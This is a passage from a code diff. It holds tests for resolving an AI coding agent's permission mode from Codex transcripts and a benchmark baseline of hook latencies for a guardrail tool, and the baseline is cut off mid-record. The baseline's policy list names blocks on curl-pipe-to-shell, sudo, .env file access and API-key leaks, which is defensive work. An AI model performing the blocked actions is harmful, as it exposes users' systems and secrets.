turn_context", turnContext("never")]); + expect(resolvePermissionMode("codex", {}, "sess-codex")).toBe("full-auto"); + }); + + it("ignores a record that merely mentions turn_context in its text", () => { + transcript([ + JSON.stringify({ type: "event_msg", payload: { text: "grep turn_context foo" } }), + ]); + expect(resolvePermissionMode("codex", {}, "sess-codex")).toBe("default"); + }); + + it("returns the FIRST turn_context, ignoring later re-negotiations", () => { + transcript([sessionMeta, turnContext("never"), turnContext("on-request")]); + expect(resolvePermissionMode("codex", {}, "sess-codex")).toBe("full-auto"); + }); +}); + +describe("resolvePermissionMode — the Codex scan is bounded", () => { + it("resolves identically on a transcript far larger than the byte bound when turn_context is early", () => { + // Real transcripts on disk reach several MB with turn_context at ~84 KB. + const tail: string[] = []; + let bytes = 0; + while (bytes < CODEX_MODE_SCAN_MAX_BYTES * 2) { + const line = filler(4096); + tail.push(line); + bytes += line.length + 1; + } + transcript([sessionMeta, turnContext("never"), ...tail]); + expect(resolvePermissionMode("codex", {}, "sess-codex")).toBe("full-auto"); + }); + + it("degrades to the not-found default (not a throw) when turn_context is past the byte bound", () => { + const head: string[] = []; + let bytes = 0; + while (bytes < CODEX_MODE_SCAN_MAX_BYTES + 8192) { + const line = filler(4096); + head.push(line); + bytes += line.length + 1; + } + transcript([...head, turnContext("never")]); + expect(() => resolvePermissionMode("codex", {}, "sess-codex")).not.toThrow(); + expect(resolvePermissionMode("codex", {}, "sess-codex")).toBe("default"); + }); + + it("does not parse the fragment of a record straddling the window edge", () => { + // One giant record that starts inside the window and runs past its end, so + // the head read cuts it mid-JSON. The fragment must be dropped, not parsed. + const straddling = JSON.stringify({ + type: "turn_context", + payload: { approval_policy: "never", pad: "x".repeat(CODEX_MODE_SCAN_MAX_BYTES) }, + }); + transcript([filler(CODEX_MODE_SCAN_MAX_BYTES - 4096), straddling]); + expect(() => resolvePermissionMode("codex", {}, "sess-codex")).not.toThrow(); + expect(resolvePermissionMode("codex", {}, "sess-codex")).toBe("default"); + }); + + it("still resolves a turn_context just inside the line bound", () => { + const head = Array.from({ length: CODEX_MODE_SCAN_MAX_LINES - 10 }, () => filler(40)); + transcript([...head, turnContext("never")]); + expect(resolvePermissionMode("codex", {}, "sess-codex")).toBe("full-auto"); + }); + + it("degrades to default when turn_context sits past the line bound", () => { + const head = Array.from({ length: CODEX_MODE_SCAN_MAX_LINES }, () => filler(40)); + transcript([...head, turnContext("never")]); + expect(resolvePermissionMode("codex", {}, "sess-codex")).toBe("default"); + }); + + it("reads no more than the byte bound even from a very large transcript", () => { + // Guards the bound itself: the whole file is one long line of filler, so a + // full read would materialize megabytes. The call must stay fast and quiet. + const path = join(dir, "huge.jsonl"); + writeFileSync(path, filler(CODEX_MODE_SCAN_MAX_BYTES * 8) + "\n"); + vi.mocked(findCodexTranscript).mockReturnValue(path); + expect(resolvePermissionMode("codex", {}, "sess-codex")).toBe("default"); + }); +}); diff --git a/__tests__/parity/bench-baseline.json b/__tests__/parity/bench-baseline.json new file mode 100644 index 00000000..7fe856f6 --- /dev/null +++ b/__tests__/parity/bench-baseline.json @@ -0,0 +1,31628 @@ +{ + "schema": "Every phase value is a [p50, p95, p99] tuple in milliseconds. Phases: spawn (fork/exec + interpreter bootstrap + failproofai module-graph evaluation), configLoad (readMergedHooksConfig + registerBuiltinPolicies + loadAllCustomHooks), evaluate (evaluateVerdicts), encode (encodeResponse), other (payload parse + canonicalization + envelope + teardown + parent reap), e2e (parent wall clock around the whole cold process). spawn is removed by Stage 4 (native client); configLoad/evaluate/encode by Stage 1 (daemon).", + "generator": "scripts/bench-hook.ts", + "generatedAt": "2026-07-30T18:31:47.535Z", + "gitCommit": "4535acd", + "packageVersion": "0.0.16-beta.0", + "machine": { + "fingerprint": "13th Gen Intel(R) Core(TM) i7-13650HX / 20c / linux-x64 / node v26.5.0 / bun 1.3.14", + "cpuModel": "13th Gen Intel(R) Core(TM) i7-13650HX", + "cpuCores": 20, + "totalMemGb": 22.7, + "platform": "linux", + "osType": "Linux", + "osRelease": "7.0.0-28-generic", + "arch": "x64", + "nodeVersion": "v26.5.0", + "bunVersion": "1.3.14", + "hostname": "legion", + "loadAvgBefore": [ + 1.54, + 1.55, + 3.06 + ], + "loadAvgAfter": [ + 1.61, + 1.86, + 1.78 + ] + }, + "config": { + "iterations": 50, + "warmup": 3, + "policySet": "default", + "enabledPolicies": [ + "sanitize-jwt", + "sanitize-api-keys", + "sanitize-connection-strings", + "sanitize-private-key-content", + "sanitize-bearer-tokens", + "protect-env-vars", + "block-env-files", + "block-sudo", + "block-curl-pipe-sh", + "block-failproofai-commands", + "block-push-master" + ], + "variants": [ + "default", + "custom" + ], + "matrix": { + "clis": 12, + "events": 29, + "cells": 348 + }, + "benchCommand": "git status --short", + "telemetry": "disabled via FAILPROOFAI_TELEMETRY_DISABLED=1 (network I/O would swamp the signal)", + "concurrency": "strictly serial — one cold process at a time", + "omittedFromHarness": [ + "persistHookActivity", + "trackHookEvent", + "flushHookTelemetry" + ] + }, + "phases": [ + "spawn", + "configLoad", + "evaluate", + "encode", + "other", + "e2e" + ], + "percentiles": [ + 50, + 95, + 99 + ], + "runtimeFloor": { + "bareInterpreterSpawn": [ + 17.62, + 20.02, + 21.8 + ], + "bareInterpreterE2e": [ + 19.24, + 21.67, + 23.61 + ], + "moduleGraphEvalSpawn": [ + 60.82, + 65.81, + 69.64 + ], + "derivedModuleEvalP50": 43.2 + }, + "aggregate": { + "default": { + "spawn": [ + 60.97, + 66.23, + 70.55 + ], + "configLoad": [ + 0.54, + 0.6, + 0.74 + ], + "evaluate": [ + 0.16, + 0.57, + 1.07 + ], + "encode": [ + 0.25, + 0.27, + 0.34 + ], + "other": [ + 3.38, + 3.96, + 4.18 + ], + "e2e": [ + 65.4, + 70.75, + 74.9 + ] + }, + "custom": { + "spawn": [ + 61.02, + 66.31, + 70.62 + ], + "configLoad": [ + 4.03, + 7.21, + 8.04 + ], + "evaluate": [ + 0.14, + 0.65, + 1.15 + ], + "encode": [ + 0.25, + 0.28, + 0.39 + ], + "other": [ + 1.6, + 1.92, + 3.08 + ], + "e2e": [ + 67.38, + 72.97, + 79.74 + ] + } + }, + "byCli": { + "default": { + "claude": { + "spawn": [ + 61.15, + 66.29, + 69.27 + ], + "configLoad": [ + 0.54, + 0.59, + 0.68 + ], + "evaluate": [ + 0.16, + 0.57, + 1.08 + ], + "encode": [ + 0.25, + 0.27, + 0.31 + ], + "other": [ + 3.39, + 3.91, + 4.06 + ], + "e2e": [ + 65.55, + 70.72, + 73.55 + ] + }, + "codex": { + "spawn": [ + 60.42, + 65, + 67.85 + ], + "configLoad": [ + 0.52, + 0.56, + 0.6 + ], + "evaluate": [ + 0.16, + 0.57, + 1.06 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.67, + 4.21, + 4.35 + ], + "e2e": [ + 65.04, + 69.95, + 72.64 + ] + }, + "copilot": { + "spawn": [ + 60.45, + 64.9, + 67.32 + ], + "configLoad": [ + 0.53, + 0.58, + 0.62 + ], + "evaluate": [ + 0.16, + 0.57, + 1.06 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.39, + 3.9, + 4.1 + ], + "e2e": [ + 64.85, + 69.41, + 71.58 + ] + }, + "cursor": { + "spawn": [ + 60.6, + 65.03, + 67.65 + ], + "configLoad": [ + 0.53, + 0.58, + 0.61 + ], + "evaluate": [ + 0.16, + 0.57, + 1.06 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.35, + 3.9, + 4.04 + ], + "e2e": [ + 64.94, + 69.51, + 72.31 + ] + }, + "opencode": { + "spawn": [ + 60.69, + 66.17, + 69.79 + ], + "configLoad": [ + 0.54, + 0.59, + 0.66 + ], + "evaluate": [ + 0.16, + 0.57, + 1.05 + ], + "encode": [ + 0.25, + 0.27, + 0.32 + ], + "other": [ + 3.36, + 3.89, + 4.02 + ], + "e2e": [ + 65.09, + 70.68, + 74.3 + ] + }, + "pi": { + "spawn": [ + 61.16, + 66.54, + 70.25 + ], + "configLoad": [ + 0.54, + 0.59, + 0.7 + ], + "evaluate": [ + 0.16, + 0.57, + 1.08 + ], + "encode": [ + 0.25, + 0.27, + 0.33 + ], + "other": [ + 3.34, + 3.91, + 4.06 + ], + "e2e": [ + 65.52, + 71.04, + 74.46 + ] + }, + "hermes": { + "spawn": [ + 60.97, + 65.75, + 69.36 + ], + "configLoad": [ + 0.54, + 0.6, + 0.71 + ], + "evaluate": [ + 0.16, + 0.58, + 1.08 + ], + "encode": [ + 0.25, + 0.28, + 0.32 + ], + "other": [ + 3.37, + 3.93, + 4.07 + ], + "e2e": [ + 65.38, + 70.32, + 73.99 + ] + }, + "openclaw": { + "spawn": [ + 61.19, + 66.45, + 69.76 + ], + "configLoad": [ + 0.54, + 0.6, + 0.73 + ], + "evaluate": [ + 0.16, + 0.57, + 1.09 + ], + "encode": [ + 0.25, + 0.28, + 0.36 + ], + "other": [ + 3.34, + 3.89, + 4.06 + ], + "e2e": [ + 65.54, + 70.96, + 74.12 + ] + }, + "factory": { + "spawn": [ + 61.39, + 68.18, + 104.07 + ], + "configLoad": [ + 0.54, + 0.63, + 1.16 + ], + "evaluate": [ + 0.16, + 0.58, + 1.07 + ], + "encode": [ + 0.25, + 0.28, + 0.46 + ], + "other": [ + 3.36, + 3.96, + 4.64 + ], + "e2e": [ + 65.79, + 72.69, + 110.47 + ] + }, + "devin": { + "spawn": [ + 61.36, + 66.27, + 70.23 + ], + "configLoad": [ + 0.54, + 0.6, + 0.76 + ], + "evaluate": [ + 0.16, + 0.58, + 1.09 + ], + "encode": [ + 0.25, + 0.28, + 0.33 + ], + "other": [ + 3.33, + 3.91, + 4.11 + ], + "e2e": [ + 65.71, + 70.88, + 74.77 + ] + }, + "antigravity": { + "spawn": [ + 61.26, + 66.55, + 70.09 + ], + "configLoad": [ + 0.54, + 0.6, + 0.7 + ], + "evaluate": [ + 0.16, + 0.57, + 1.08 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 3.35, + 3.89, + 4.06 + ], + "e2e": [ + 65.61, + 71.02, + 74.86 + ] + }, + "goose": { + "spawn": [ + 61.33, + 67.63, + 103.2 + ], + "configLoad": [ + 0.55, + 0.62, + 1.11 + ], + "evaluate": [ + 0.17, + 0.58, + 1.07 + ], + "encode": [ + 0.25, + 0.28, + 0.45 + ], + "other": [ + 3.4, + 3.95, + 4.66 + ], + "e2e": [ + 65.74, + 72.08, + 108.8 + ] + } + }, + "custom": { + "claude": { + "spawn": [ + 61.05, + 66.03, + 70.16 + ], + "configLoad": [ + 4.03, + 7.23, + 8.16 + ], + "evaluate": [ + 0.14, + 0.65, + 1.16 + ], + "encode": [ + 0.25, + 0.28, + 0.34 + ], + "other": [ + 1.58, + 1.82, + 3.32 + ], + "e2e": [ + 67.42, + 73.01, + 78.17 + ] + }, + "codex": { + "spawn": [ + 60.43, + 65.43, + 68.71 + ], + "configLoad": [ + 4.04, + 7.19, + 37.94 + ], + "evaluate": [ + 0.14, + 0.64, + 1.12 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 1.87, + 2.13, + 3.94 + ], + "e2e": [ + 67.13, + 72.55, + 99.88 + ] + }, + "copilot": { + "spawn": [ + 60.25, + 65.02, + 67.55 + ], + "configLoad": [ + 4.04, + 7.26, + 34.34 + ], + "evaluate": [ + 0.14, + 0.65, + 1.14 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.59, + 1.81, + 2.97 + ], + "e2e": [ + 66.74, + 71.89, + 98.28 + ] + }, + "cursor": { + "spawn": [ + 60.46, + 65.15, + 68.44 + ], + "configLoad": [ + 4.05, + 7.25, + 8.11 + ], + "evaluate": [ + 0.14, + 0.65, + 1.15 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.59, + 1.82, + 1.97 + ], + "e2e": [ + 66.9, + 71.81, + 75.7 + ] + }, + "opencode": { + "spawn": [ + 60.95, + 66.11, + 70.22 + ], + "configLoad": [ + 4.04, + 7.16, + 7.99 + ], + "evaluate": [ + 0.14, + 0.64, + 1.14 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 1.59, + 1.82, + 2.03 + ], + "e2e": [ + 67.29, + 72.33, + 77.13 + ] + }, + "pi": { + "spawn": [ + 61.26, + 66.34, + 70.04 + ], + "configLoad": [ + 4.03, + 7.28, + 7.89 + ], + "evaluate": [ + 0.14, + 0.65, + 1.15 + ], + "encode": [ + 0.25, + 0.28, + 0.39 + ], + "other": [ + 1.58, + 1.82, + 3.02 + ], + "e2e": [ + 67.62, + 73.18, + 76.57 + ] + }, + "hermes": { + "spawn": [ + 61.19, + 66.33, + 69.79 + ], + "configLoad": [ + 4.03, + 7.24, + 7.84 + ], + "evaluate": [ + 0.15, + 0.66, + 1.15 + ], + "encode": [ + 0.25, + 0.28, + 0.39 + ], + "other": [ + 1.58, + 1.82, + 1.98 + ], + "e2e": [ + 67.58, + 72.96, + 77.49 + ] + }, + "openclaw": { + "spawn": [ + 61.44, + 66.63, + 69.73 + ], + "configLoad": [ + 3.98, + 7.07, + 7.56 + ], + "evaluate": [ + 0.14, + 0.65, + 1.16 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 1.58, + 1.8, + 1.96 + ], + "e2e": [ + 67.65, + 72.68, + 76.49 + ] + }, + "factory": { + "spawn": [ + 61.18, + 68.07, + 105.24 + ], + "configLoad": [ + 4.04, + 7.29, + 8.29 + ], + "evaluate": [ + 0.15, + 0.66, + 1.16 + ], + "encode": [ + 0.25, + 0.3, + 0.47 + ], + "other": [ + 1.59, + 1.85, + 3.64 + ], + "e2e": [ + 67.58, + 74.58, + 116.86 + ] + }, + "devin": { + "spawn": [ + 61.39, + 66.83, + 70.56 + ], + "configLoad": [ + 4, + 7.2, + 7.92 + ], + "evaluate": [ + 0.14, + 0.67, + 1.16 + ], + "encode": [ + 0.25, + 0.28, + 0.39 + ], + "other": [ + 1.58, + 1.82, + 1.93 + ], + "e2e": [ + 67.71, + 73.42, + 77.27 + ] + }, + "antigravity": { + "spawn": [ + 61.16, + 66.08, + 69.17 + ], + "configLoad": [ + 4.01, + 7.15, + 7.87 + ], + "evaluate": [ + 0.14, + 0.66, + 1.15 + ], + "encode": [ + 0.25, + 0.28, + 0.33 + ], + "other": [ + 1.58, + 1.81, + 3.23 + ], + "e2e": [ + 67.41, + 72.82, + 76.41 + ] + }, + "goose": { + "spawn": [ + 61.51, + 67.73, + 108.88 + ], + "configLoad": [ + 4.04, + 7.25, + 8.17 + ], + "evaluate": [ + 0.15, + 0.65, + 1.17 + ], + "encode": [ + 0.25, + 0.29, + 0.48 + ], + "other": [ + 1.58, + 1.84, + 3.75 + ], + "e2e": [ + 67.81, + 74.31, + 119.41 + ] + } + } + }, + "byEvent": { + "default": { + "SessionStart": { + "spawn": [ + 60.93, + 66.06, + 69.94 + ], + "configLoad": [ + 0.54, + 0.59, + 0.65 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.37, + 3.98, + 4.15 + ], + "e2e": [ + 65.29, + 70.37, + 74.38 + ] + }, + "SessionEnd": { + "spawn": [ + 60.91, + 65.71, + 68.99 + ], + "configLoad": [ + 0.54, + 0.6, + 0.7 + ], + "evaluate": [ + 0.16, + 0.18, + 0.24 + ], + "encode": [ + 0.25, + 0.27, + 0.38 + ], + "other": [ + 3.42, + 3.95, + 4.13 + ], + "e2e": [ + 65.22, + 70.22, + 73.59 + ] + }, + "UserPromptSubmit": { + "spawn": [ + 60.69, + 65.25, + 68.6 + ], + "configLoad": [ + 0.54, + 0.58, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 3.4, + 3.97, + 4.13 + ], + "e2e": [ + 65.04, + 69.91, + 72.66 + ] + }, + "PreToolUse": { + "spawn": [ + 61.1, + 66.07, + 69.08 + ], + "configLoad": [ + 0.54, + 0.59, + 0.68 + ], + "evaluate": [ + 1.06, + 1.12, + 1.22 + ], + "encode": [ + 0.26, + 0.28, + 0.32 + ], + "other": [ + 3.4, + 3.98, + 4.21 + ], + "e2e": [ + 66.38, + 71.79, + 74.3 + ] + }, + "PermissionRequest": { + "spawn": [ + 60.85, + 65.55, + 69.01 + ], + "configLoad": [ + 0.54, + 0.59, + 0.66 + ], + "evaluate": [ + 0.31, + 0.34, + 0.37 + ], + "encode": [ + 0.25, + 0.28, + 0.3 + ], + "other": [ + 3.39, + 3.98, + 4.11 + ], + "e2e": [ + 65.22, + 70.07, + 73.76 + ] + }, + "PermissionDenied": { + "spawn": [ + 61.02, + 66.22, + 69.92 + ], + "configLoad": [ + 0.54, + 0.59, + 0.78 + ], + "evaluate": [ + 0.16, + 0.18, + 0.22 + ], + "encode": [ + 0.25, + 0.27, + 0.32 + ], + "other": [ + 3.39, + 3.94, + 4.15 + ], + "e2e": [ + 65.37, + 70.54, + 74.23 + ] + }, + "PostToolUse": { + "spawn": [ + 61.01, + 66.24, + 68.93 + ], + "configLoad": [ + 0.54, + 0.59, + 0.72 + ], + "evaluate": [ + 0.57, + 0.61, + 0.67 + ], + "encode": [ + 0.26, + 0.29, + 0.31 + ], + "other": [ + 3.34, + 3.97, + 4.12 + ], + "e2e": [ + 65.72, + 70.96, + 73.24 + ] + }, + "PostToolUseFailure": { + "spawn": [ + 60.85, + 65.78, + 68.77 + ], + "configLoad": [ + 0.54, + 0.59, + 0.65 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.43, + 3.92, + 4.16 + ], + "e2e": [ + 65.32, + 70.23, + 72.97 + ] + }, + "Notification": { + "spawn": [ + 61.04, + 65.86, + 69.24 + ], + "configLoad": [ + 0.54, + 0.59, + 0.7 + ], + "evaluate": [ + 0.16, + 0.18, + 0.22 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.39, + 3.95, + 4.17 + ], + "e2e": [ + 65.38, + 70.39, + 73.61 + ] + }, + "SubagentStart": { + "spawn": [ + 60.88, + 66.18, + 69.41 + ], + "configLoad": [ + 0.54, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.38, + 3.94, + 4.14 + ], + "e2e": [ + 65.29, + 70.68, + 73.45 + ] + }, + "SubagentStop": { + "spawn": [ + 61.17, + 66.71, + 70.67 + ], + "configLoad": [ + 0.54, + 0.6, + 0.69 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.36, + 3.97, + 4.14 + ], + "e2e": [ + 65.55, + 71.15, + 75.05 + ] + }, + "TaskCreated": { + "spawn": [ + 61.14, + 66.91, + 69.59 + ], + "configLoad": [ + 0.54, + 0.6, + 0.63 + ], + "evaluate": [ + 0.16, + 0.18, + 0.21 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 3.35, + 3.95, + 4.2 + ], + "e2e": [ + 65.51, + 71.16, + 73.99 + ] + }, + "TaskCompleted": { + "spawn": [ + 61.27, + 70.67, + 111.62 + ], + "configLoad": [ + 0.54, + 0.74, + 1.21 + ], + "evaluate": [ + 0.16, + 0.22, + 0.34 + ], + "encode": [ + 0.25, + 0.32, + 0.48 + ], + "other": [ + 3.4, + 4.07, + 5.38 + ], + "e2e": [ + 65.65, + 74.85, + 118.78 + ] + }, + "Stop": { + "spawn": [ + 60.95, + 66.7, + 72.79 + ], + "configLoad": [ + 0.54, + 0.6, + 0.67 + ], + "evaluate": [ + 0.16, + 0.18, + 0.22 + ], + "encode": [ + 0.25, + 0.27, + 0.31 + ], + "other": [ + 3.34, + 3.95, + 4.21 + ], + "e2e": [ + 65.43, + 71.37, + 77.35 + ] + }, + "StopFailure": { + "spawn": [ + 61.12, + 65.98, + 68.26 + ], + "configLoad": [ + 0.54, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.38, + 4.01, + 4.17 + ], + "e2e": [ + 65.53, + 70.46, + 72.16 + ] + }, + "TeammateIdle": { + "spawn": [ + 60.86, + 65.68, + 69.16 + ], + "configLoad": [ + 0.54, + 0.59, + 0.67 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.34 + ], + "other": [ + 3.38, + 3.96, + 4.12 + ], + "e2e": [ + 65.23, + 70.06, + 73.54 + ] + }, + "InstructionsLoaded": { + "spawn": [ + 61.03, + 66.25, + 68.45 + ], + "configLoad": [ + 0.54, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 3.38, + 3.94, + 4.07 + ], + "e2e": [ + 65.48, + 70.74, + 72.69 + ] + }, + "ConfigChange": { + "spawn": [ + 61.1, + 65.65, + 68.35 + ], + "configLoad": [ + 0.54, + 0.59, + 0.65 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.43, + 3.93, + 4.09 + ], + "e2e": [ + 65.38, + 70.06, + 72.51 + ] + }, + "CwdChanged": { + "spawn": [ + 61.05, + 66.01, + 69.53 + ], + "configLoad": [ + 0.54, + 0.6, + 0.99 + ], + "evaluate": [ + 0.16, + 0.19, + 0.28 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 3.36, + 3.94, + 4.13 + ], + "e2e": [ + 65.38, + 70.31, + 73.75 + ] + }, + "FileChanged": { + "spawn": [ + 61.16, + 65.69, + 70.33 + ], + "configLoad": [ + 0.54, + 0.6, + 0.71 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 3.34, + 3.98, + 4.19 + ], + "e2e": [ + 65.54, + 70.09, + 75.27 + ] + }, + "WorktreeCreate": { + "spawn": [ + 61.08, + 79.12, + 113.69 + ], + "configLoad": [ + 0.54, + 0.69, + 1.19 + ], + "evaluate": [ + 0.16, + 0.22, + 0.33 + ], + "encode": [ + 0.25, + 0.32, + 0.51 + ], + "other": [ + 3.4, + 4.16, + 6.36 + ], + "e2e": [ + 65.44, + 83.26, + 120.32 + ] + }, + "WorktreeRemove": { + "spawn": [ + 60.77, + 65.56, + 68.88 + ], + "configLoad": [ + 0.54, + 0.59, + 0.7 + ], + "evaluate": [ + 0.16, + 0.18, + 0.22 + ], + "encode": [ + 0.25, + 0.28, + 0.31 + ], + "other": [ + 3.4, + 4, + 4.2 + ], + "e2e": [ + 65.25, + 70.14, + 73.02 + ] + }, + "PreCompact": { + "spawn": [ + 60.91, + 65.76, + 68.85 + ], + "configLoad": [ + 0.54, + 0.59, + 0.68 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.4, + 3.96, + 4.22 + ], + "e2e": [ + 65.33, + 70.2, + 73.29 + ] + }, + "PostCompact": { + "spawn": [ + 60.65, + 65.87, + 70.33 + ], + "configLoad": [ + 0.54, + 0.6, + 0.73 + ], + "evaluate": [ + 0.16, + 0.18, + 0.21 + ], + "encode": [ + 0.25, + 0.27, + 0.34 + ], + "other": [ + 3.34, + 3.94, + 4.16 + ], + "e2e": [ + 64.99, + 70.35, + 74.86 + ] + }, + "Elicitation": { + "spawn": [ + 60.98, + 66.02, + 68.72 + ], + "configLoad": [ + 0.54, + 0.6, + 0.66 + ], + "evaluate": [ + 0.16, + 0.18, + 0.21 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 3.39, + 3.92, + 4.1 + ], + "e2e": [ + 65.36, + 70.37, + 72.96 + ] + }, + "ElicitationResult": { + "spawn": [ + 60.99, + 66.4, + 71.23 + ], + "configLoad": [ + 0.54, + 0.59, + 0.66 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.32 + ], + "other": [ + 3.41, + 3.94, + 4.12 + ], + "e2e": [ + 65.4, + 71, + 75.37 + ] + }, + "UserPromptExpansion": { + "spawn": [ + 60.95, + 66.26, + 69.58 + ], + "configLoad": [ + 0.54, + 0.58, + 0.68 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.33 + ], + "other": [ + 3.37, + 3.91, + 4.09 + ], + "e2e": [ + 65.35, + 70.84, + 73.56 + ] + }, + "PostToolBatch": { + "spawn": [ + 61.1, + 66.32, + 69.51 + ], + "configLoad": [ + 0.54, + 0.6, + 0.69 + ], + "evaluate": [ + 0.16, + 0.18, + 0.23 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.44, + 3.95, + 4.06 + ], + "e2e": [ + 65.52, + 70.49, + 74.64 + ] + }, + "Setup": { + "spawn": [ + 60.98, + 65.92, + 69.28 + ], + "configLoad": [ + 0.54, + 0.6, + 0.68 + ], + "evaluate": [ + 0.16, + 0.18, + 0.22 + ], + "encode": [ + 0.25, + 0.27, + 0.32 + ], + "other": [ + 3.35, + 3.94, + 4.1 + ], + "e2e": [ + 65.35, + 70.41, + 72.8 + ] + } + }, + "custom": { + "SessionStart": { + "spawn": [ + 60.87, + 65.63, + 67.47 + ], + "configLoad": [ + 4.03, + 7.15, + 7.94 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.37 + ], + "other": [ + 1.6, + 1.9, + 3.34 + ], + "e2e": [ + 67.12, + 72.21, + 74.9 + ] + }, + "SessionEnd": { + "spawn": [ + 60.98, + 66.28, + 68.07 + ], + "configLoad": [ + 4.04, + 7.2, + 8.04 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.31 + ], + "other": [ + 1.61, + 1.91, + 2.09 + ], + "e2e": [ + 67.16, + 72.55, + 75.94 + ] + }, + "UserPromptSubmit": { + "spawn": [ + 60.96, + 66.21, + 69.97 + ], + "configLoad": [ + 4.03, + 7.22, + 8.81 + ], + "evaluate": [ + 0.14, + 0.16, + 0.2 + ], + "encode": [ + 0.25, + 0.28, + 0.37 + ], + "other": [ + 1.59, + 1.88, + 2.19 + ], + "e2e": [ + 67.31, + 73.37, + 76.74 + ] + }, + "PreToolUse": { + "spawn": [ + 61.04, + 66.72, + 68.61 + ], + "configLoad": [ + 4.01, + 7.3, + 8.07 + ], + "evaluate": [ + 1.13, + 1.21, + 1.33 + ], + "encode": [ + 0.26, + 0.28, + 0.32 + ], + "other": [ + 1.62, + 1.99, + 3.93 + ], + "e2e": [ + 68.33, + 74.39, + 78.84 + ] + }, + "PermissionRequest": { + "spawn": [ + 60.94, + 65.63, + 68.69 + ], + "configLoad": [ + 4.02, + 7.32, + 8.13 + ], + "evaluate": [ + 0.29, + 0.31, + 0.36 + ], + "encode": [ + 0.25, + 0.28, + 0.32 + ], + "other": [ + 1.6, + 1.89, + 2.08 + ], + "e2e": [ + 67.51, + 72.33, + 75.24 + ] + }, + "PermissionDenied": { + "spawn": [ + 60.95, + 65.99, + 68.44 + ], + "configLoad": [ + 4.02, + 7.23, + 7.92 + ], + "evaluate": [ + 0.14, + 0.16, + 0.21 + ], + "encode": [ + 0.25, + 0.28, + 0.32 + ], + "other": [ + 1.61, + 1.92, + 2.15 + ], + "e2e": [ + 67.42, + 72.32, + 76.49 + ] + }, + "PostToolUse": { + "spawn": [ + 61.02, + 65.94, + 69.58 + ], + "configLoad": [ + 4.01, + 7.12, + 7.57 + ], + "evaluate": [ + 0.65, + 0.7, + 0.85 + ], + "encode": [ + 0.26, + 0.28, + 0.33 + ], + "other": [ + 1.58, + 1.88, + 3.44 + ], + "e2e": [ + 67.81, + 72.65, + 77.29 + ] + }, + "PostToolUseFailure": { + "spawn": [ + 60.52, + 66.06, + 69.17 + ], + "configLoad": [ + 4.02, + 7.11, + 7.8 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 1.61, + 1.93, + 2.99 + ], + "e2e": [ + 66.85, + 72.25, + 75.58 + ] + }, + "Notification": { + "spawn": [ + 60.98, + 65.53, + 69.41 + ], + "configLoad": [ + 4.04, + 7.2, + 7.8 + ], + "evaluate": [ + 0.14, + 0.16, + 0.22 + ], + "encode": [ + 0.25, + 0.27, + 0.38 + ], + "other": [ + 1.6, + 1.91, + 2.15 + ], + "e2e": [ + 67.41, + 72.35, + 75.8 + ] + }, + "SubagentStart": { + "spawn": [ + 60.94, + 65.79, + 68.24 + ], + "configLoad": [ + 4, + 7.07, + 7.63 + ], + "evaluate": [ + 0.14, + 0.16, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.34 + ], + "other": [ + 1.58, + 1.88, + 2.03 + ], + "e2e": [ + 67.24, + 72.12, + 74.54 + ] + }, + "SubagentStop": { + "spawn": [ + 60.96, + 66.36, + 68.66 + ], + "configLoad": [ + 4.02, + 7.02, + 8.08 + ], + "evaluate": [ + 0.14, + 0.16, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 1.59, + 1.89, + 2.08 + ], + "e2e": [ + 67.23, + 72.95, + 76.11 + ] + }, + "TaskCreated": { + "spawn": [ + 61.26, + 